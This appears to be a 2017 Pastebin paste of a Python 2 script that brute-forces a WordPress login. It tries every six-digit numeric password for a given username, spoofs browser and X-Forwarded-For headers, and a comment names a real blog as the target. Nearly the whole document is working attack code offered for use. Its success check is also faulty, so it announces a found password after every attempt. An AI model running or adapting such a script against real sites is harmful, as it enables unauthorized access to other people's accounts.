Advertisement
Guest User

Untitled

a guest
May 6th, 2017
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.62 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import urllib
  3. import urllib2
  4. import sys
  5. import os
  6. url = sys.argv[1]
  7. bad_result = sys.argv[2]
  8. username = sys.argv[3]
  9. password = range(0, 10)
  10. #######tao tu dien vet can password 6 ki tu####################
  11. ######global variable#####
  12. ############brute blog.bkis.com
  13. user_agent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.6'
  14. x_forwarded_for = '111.111.111.111'
  15. accept = 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5'
  16. headers = { 'User-Agent' : user_agent, 'X-Forwarded-For' : x_forwarded_for, 'Referer' : url, 'Accept' : accept}
  17. for line1 in password:
  18.     for line2 in password:
  19.         pass2 = str(line1) + str(line2)
  20.         for line3 in password:
  21.             pass3 = str(line1) + str(line2) + str(line3)
  22.             for line4 in password:
  23.                 pass4 = str(line1) + str(line2) + str(line3) + str(line4)
  24.                 for line5 in password:
  25.                     pass5 = str(line1) + str(line2) + str(line3) + str(line4) + str(line5)
  26.                     for line6 in password:
  27.                         pass6 = str(line1) + str(line2) + str(line3) + str(line4) + str(line5) + str(line6)
  28.                         values = { 'log' : username ,
  29.                             'pwd' : pass6 ,
  30.                             'wp-submit'   : 'Log+In',
  31.                             }
  32.                         #print pass6
  33.                         data = urllib.urlencode(values)
  34.                         req = urllib2.Request(url ,data , headers)
  35.                         try:
  36.                             response = urllib2.urlopen(req)
  37.                         except:
  38.                             print "Connection Error"
  39.                             exit()
  40.                         the_page = response.read()
  41.                         #print the_page
  42.                         os.system('rm -rf tmp.txt')
  43.                         _file = open('tmp.txt','w+')
  44.                         _file.write(the_page)
  45.                         _file.close()
  46.                         _file = open('tmp.txt','r')
  47.                         for _line in _file.readlines() :
  48.                             if _line.find(bad_result) <> -1:
  49.                                 print "Trying with " + pass6
  50.                                 break
  51.                             else:
  52.                                 #print "Trying with " +pass6
  53.                                 continue
  54.                         print "Haahahahahahaaaaaaaaaaa password is " + str(pass6)
  55.                         _file.close()
  56. print "Hix, Del tim ra password"
  57. exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement